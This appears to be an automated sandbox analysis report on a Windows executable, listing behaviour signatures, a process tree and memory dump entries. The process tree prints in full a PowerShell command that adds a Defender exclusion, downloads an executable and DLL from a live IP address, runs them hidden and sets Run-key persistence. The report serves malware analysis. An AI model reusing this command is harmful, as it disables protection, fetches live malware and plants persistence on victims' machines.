Analysis
- max time kernel
149s - max time network
149s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
22/05/2026, 11:00
General
- Target z1DOC-6681673-708018947.exe
- Size 246KB
- Sample260522-m4felsht3k
- SHA256 55db75449ac68bd35e56ee3bf300f7ebbcb80484cce57e523b583d49d0c85a99
Malware Config
Signatures
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Downloads MZ/PE file 1 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 2 IoCs
- Adds Run key to start application 2 TTPs 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\z1DOC-6681673-708018947.exe"C:\Users\Admin\AppData\Local\Temp\z1DOC-6681673-708018947.exe"1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\MSDefender'; mkdir 'C:\ProgramData\MSDefender'; curl -Uri 'http://177.136.230.88/modulo/Flexpcis.exe' -OutFile 'C:\ProgramData\MSDefender\Flexpcis.exe'; curl -Uri 'http://177.136.230.88/modulo/Drivespan.dll' -OutFile 'C:\ProgramData\MSDefender\Drivespan.dll'; Start-Process -FilePath 'C:\ProgramData\MSDefender\Flexpcis.exe' -WindowStyle Hidden; $exePath = 'C:\ProgramData\MSDefender\Flexpcis.exe'; Set-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'WindowsService' -Value $exePath -Force; Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'WindowsService' -Value $exePath -Force2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Downloads MZ/PE file
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\ProgramData\MSDefender\Flexpcis.exe"C:\ProgramData\MSDefender\Flexpcis.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
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C:\ProgramData\MSDefender\Flexpcis.exeC:\ProgramData\MSDefender\Flexpcis.exe1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
Flexpcis.exe
__PSScriptPolicyTest_qhanu3lc.rao.ps1
memory/5672-29-0x0000000007900000-0x0000000007F7A000-memory.dmp
memory/5672-35-0x00000000074F0000-0x0000000007504000-memory.dmp
memory/5672-4-0x00000000057E0000-0x0000000005846000-memory.dmp
memory/5672-5-0x00000000058C0000-0x0000000005926000-memory.dmp
memory/5672-2-0x00000000051B0000-0x00000000057D8000-memory.dmp
memory/5672-13-0x0000000005BD0000-0x0000000005F24000-memory.dmp
memory/5672-14-0x0000000005F70000-0x0000000005F8E000-memory.dmp
memory/5672-15-0x0000000005FB0000-0x0000000005FFC000-memory.dmp
memory/5672-16-0x000000007FC90000-0x000000007FCA0000-memory.dmp
memory/5672-17-0x0000000006550000-0x0000000006582000-memory.dmp
memory/5672-18-0x0000000070E20000-0x0000000070E6C000-memory.dmp
memory/5672-26-0x0000000004B70000-0x0000000004B80000-memory.dmp
memory/5672-27-0x0000000006530000-0x000000000654E000-memory.dmp
memory/5672-28-0x0000000007150000-0x00000000071F3000-memory.dmp
memory/5672-3-0x0000000004FD0000-0x0000000004FF2000-memory.dmp
memory/5672-0-0x0000000004B70000-0x0000000004B80000-memory.dmp
memory/5672-37-0x0000000007520000-0x0000000007528000-memory.dmp
memory/5672-32-0x0000000007530000-0x00000000075C6000-memory.dmp
memory/5672-33-0x00000000074B0000-0x00000000074C1000-memory.dmp
memory/5672-34-0x00000000074E0000-0x00000000074EE000-memory.dmp
memory/5672-30-0x00000000072B0000-0x00000000072CA000-memory.dmp
memory/5672-36-0x00000000075D0000-0x00000000075EA000-memory.dmp
memory/5672-31-0x0000000007320000-0x000000000732A000-memory.dmp
memory/5672-38-0x0000000007650000-0x0000000007672000-memory.dmp
memory/5672-39-0x0000000008530000-0x0000000008AD4000-memory.dmp
memory/5672-41-0x0000000004B70000-0x0000000004B80000-memory.dmp
memory/5672-42-0x0000000004B70000-0x0000000004B80000-memory.dmp
memory/5672-43-0x000000007FC90000-0x000000007FCA0000-memory.dmp
memory/5672-44-0x0000000004B70000-0x0000000004B80000-memory.dmp
memory/5672-1-0x0000000002990000-0x00000000029C6000-memory.dmp